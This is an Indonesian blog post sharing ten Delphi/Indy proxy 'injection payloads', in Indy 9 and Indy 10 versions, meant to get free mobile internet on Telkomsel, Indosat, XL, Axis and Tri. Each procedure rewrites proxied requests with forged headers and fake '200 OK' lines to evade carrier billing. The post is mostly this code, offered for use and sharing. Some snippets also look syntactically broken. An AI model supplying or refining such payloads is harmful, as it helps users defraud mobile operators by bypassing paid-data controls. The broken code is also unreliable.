Senin, 05 September 2016

Share Payload Injek Telkomsel Indosat XL Axis Tri Work September 2016

Senin, 05 September 2016 - www.indoblog.me ok Guys Kali ini Mimin Mau Kasih Informasi Dengan Dunia Internet Gratis Lagi yaitu tentang Share Kumpulan Payload Injek Telkomsel Indosat XL Axis Tri Terbaru Work September 2016 silahkan langsung dipraktekan dan langsung dicoba dan silahkan bagikan ke teman teman anda yang membutuhkannya.

Lihat Juga: Cara Buat Form2 Show Hide dan Form2 Mengikuti Form1 Secara Otomatis

Kumpulan Daftar Payload Internet Gratis Terbaru 2016

Yang dimana disini admin akan membagikan dengan 2 versi yaitu dengan indy 9 dan indy 10 dan bagi yang belum tahu tentang perbedaan dari indy 9 dan indy 10 adalah dimasalah compiler versi delphinya contohnya adalah indy 9 misal untuk delphi 7 dkk, dan indy 10 adalah untuk delphi XE dkk, semoga anda sekarang sedikit paham dan admin pastikan payload yang di bagikan disini adalah telah lulus ITB (Internet Tanpa Batas) silahkan langsung disimak saja ok bray.

KUMPULAN PAYLOAD DELPHI 7/INDY 9 TERBARU 2016

1. Contoh Payload Telkomsel/Tsel Work 2016

procedure TForm1.IdMappedPortTCP1Execute(AThread: TIdMappedPortThread);
var payload:String;
begin
   if (pos('CONNECT',AThread.NetData)<>0) or (pos('HTTP',AThread.NetData)<>0) then
  begin
 payload := 'GET http://example.com/ HTTP/1.1'+#10+
           'Host: example.com'+#10+
           'Connection: Keep-Alive'+#10#10;
AThread.NetData := StringReplace(AThread.NetData,':443',':443 SHTTP/1.0 200 OK',[rfReplaceAll]);
AThread.NetData := AThread.NetData + payload;
end;
end;

2. Contoh Payload Indosatooredoo/Isat Work 2016

procedure TForm1.IdMappedPortTCP1Execute(AThread: TIdMappedPortThread);
var payload:String;
begin
   if (pos('CONNECT',AThread.NetData)<>0) or (pos('HTTP',AThread.NetData)<>0) then
  begin
payload := 'GET http://example.com/ HTTP/1.1'+#13#10+
           'Host: example.com'+#13#10#13#10#13#10;
AThread.NetData := AddHeader(AThread.NetData,'X-Online-Host: example.com');
AThread.NetData := StringReplace(AThread.NetData,':443',':443 200 OK',[rfReplaceAll]);
AThread.OutboundClient.Write(AThread.NetData); Sleep(100);
AThread.Netdata := AThread.Netdata + Payload;
end;
end;

3. Contoh Payload XL Axiata/Luna Work 2016

procedure TForm1.IdMappedPortTCP1Execute(AThread: TIdMappedPortThread);
var payload:String;
begin
   if (pos('CONNECT',AThread.NetData)<>0) or (pos('HTTP',AThread.NetData)<>0) then
  begin
payload := 'GET http://example.com/ HTTP/1.1'+#13#10+
           'Host: example.com'+#13#10+
           'Connection: Keep-Alive'+#13#10#13#10#13#10;
AThread.NetData := AddHeader(AThread.NetData,'example.com');
AThread.NetData := AThread.NetData + payload;
end;
end;

4. Contoh Payload Axis/Ajis Work 2016

procedure TForm1.IdMappedPortTCP1Execute(AThread: TIdMappedPortThread);
var payload:String;
begin
   if (pos('CONNECT',AThread.NetData)<>0) or (pos('HTTP',AThread.NetData)<>0) then
  begin
payload := 'GET http://example.com/ HTTP/1.1'+#13#10+
           'Host: example.com'+#13#10+
           'Connection: Keep-Alive'+#13#10#13#10#13#10;
AThread.NetData := AddHeader(AThread.NetData,'X-Online-Host: example.com');
AThread.NetData := StringReplace(AThread.NetData,':443',':443 200 OK',[rfReplaceAll]);
AThread.NetData := AThread.NetData + payload;
end;
end;

5. Contoh Payload Tri/3/Three/Tere Work 2016

procedure TForm1.IdMappedPortTCP1Execute(AThread: TIdMappedPortThread);
var payload:String;
begin
   if (pos('CONNECT',AThread.NetData)<>0) or (pos('HTTP',AThread.NetData)<>0) then
  begin
payload := 'GET http://example.com/ HTTP/1.1'+#13#10+
           'Host: example.com'+#13#10;
AThread.NetData := Back(AThread.NetData,'?example.com:80');
AThread.NetData := AddHeader(AThread.NetData,'Host: example.com');
AThread.NetData := payload + AThread.NetData;
end;
end;

KUMPULAN PAYLOAD DELPHI XE/INDY 10 TERBARU 2016

1. Contoh Payload Telkomsel/Tsel Work 2016

procedure TForm1.IdMappedPortTCP1Execute(AContext: TIdContext);
var
payload: string;
begin
if (pos('CONNECT',netstring(AContext))<>0) or (pos('HTTP',netstring(AContext))<>0) then
  begin
    payload := 'GET http://example.com/ HTTP/1.1'+#10+
           'Host: example.com'+#10+
           'Connection: Keep-Alive'+#10#10;
TIdMappedPortContext(AContext).NetData := Netbyte(StringReplace(NetString(AContext),':443',':443 SHTTP/1.0 200 OK',[rfReplaceAll]));
TIdMappedPortContext(AContext).NetData := Netbyte(NetString(AContext) + payload);
  end;
end;

2. Contoh Payload Indosatooredoo/Isat Work 2016

procedure TForm1.IdMappedPortTCP1Execute(AContext: TIdContext);
var
payload: string;
begin
if (pos('CONNECT',netstring(AContext))<>0) or (pos('HTTP',netstring(AContext))<>0) then
  begin
  payload := 'GET http://example.com/ HTTP/1.1'+#13#10+
           'Host: example.com'+#13#10#13#10#13#10;
TIdMappedPortContext(AContext).NetData := Netbyte(AddHeader(NetString(AContext),'X-Online-Host: example.com');
TIdMappedPortContext(AContext).NetData := Netbyte(StringReplace(NetString(AContext),':443',':443 200 OK',[rfReplaceAll]));
TIdMappedPortContext(AContext).OutboundClient.IOHandler.Write(netbyte(NetString(AContext)); Sleep(100);
TIdMappedPortContext(AContext).NetData := Netbyte(NetString(AContext) + payload);
  end;
end;

3. Contoh Payload XL Axiata/Luna Work 2016

procedure TForm1.IdMappedPortTCP1Execute(AContext: TIdContext);
var
payload: string;
begin
if (pos('CONNECT',netstring(AContext))<>0) or (pos('HTTP',netstring(AContext))<>0) then
  begin
 payload := 'GET http://example.com/ HTTP/1.1'+#13#10+
           'Host: example.com'+#13#10+
           'Connection: Keep-Alive'+#13#10#13#10#13#10;
AThread.NetData := AddHeader(AThread.NetData,'example.com');
AThread.OutboundClient.Write(AThread.NetData + payload);
  end;
end;

4. Contoh Payload Axis/Ajis Work 2016

procedure TForm1.IdMappedPortTCP1Execute(AContext: TIdContext);
var
payload: string;
begin
if (pos('CONNECT',netstring(AContext))<>0) or (pos('HTTP',netstring(AContext))<>0) then
  begin
 payload := 'GET http://example.com/ HTTP/1.1'+#13#10+
           'Host: example.com'+#13#10+
           'Connection: Keep-Alive'+#13#10#13#10#13#10;
TIdMappedPortContext(AContext).NetData := Netbyte(AddHeader(NetString(AContext),'X-Online-Host: example.com');
TIdMappedPortContext(AContext).NetData := Netbyte(StringReplace(NetString(AContext),':443',':443 200 OK',[rfReplaceAll]));
TIdMappedPortContext(AContext).OutboundClient.IOHandler.Write(netbyte(NetString(AContext) + payload);
  end;
end;

5. Contoh Payload Tri/3/Three/Tere Work 2016

procedure TForm1.IdMappedPortTCP1Execute(AContext: TIdContext);
var
payload: string;
begin
if (pos('CONNECT',netstring(AContext))<>0) or (pos('HTTP',netstring(AContext))<>0) then
  begin
 payload := 'GET http://example.com/ HTTP/1.1'+#13#10+
           'Host: bug.com'+#13#10;
TIdMappedPortContext(AContext).NetData := Netbyte(Back(NetString(AContext),'?example.com:80'));
TIdMappedPortContext(AContext).NetData := Netbyte(AddHeader(NetString(AContext),'Host: example.com');
TIdMappedPortContext(AContext).NetData := Netbyte(payload + NetString(AContext));
  end;
end;

Ok bray semoga payload payload injek internet gratis tersebut bisa anda manfaatkan dan bisa anda pelajari kembali dan silahkan bisa anda bagikan keteman teman, sanak family, dan kerabat anda untuk bahan pelajaran saja dan selamat berkarya dan selamat menguwik uwik kembali.

Lihat Juga: Cara Bikin Aplikasi CMD Dengan Bantuan Delphi Terbaru 2016

Ok guys hanya itu saja dulu informasi dengan Share Kumpulan Daftar Payload Injek Telkomsel Indosat XL Axis Tri Work September 2016 Semoga bermanfaat dan membantu dan atas kekurangan dari postingan ini mohon dimaafkan dan Sekian dan Wassalam.

2 komentar


EmoticonEmoticon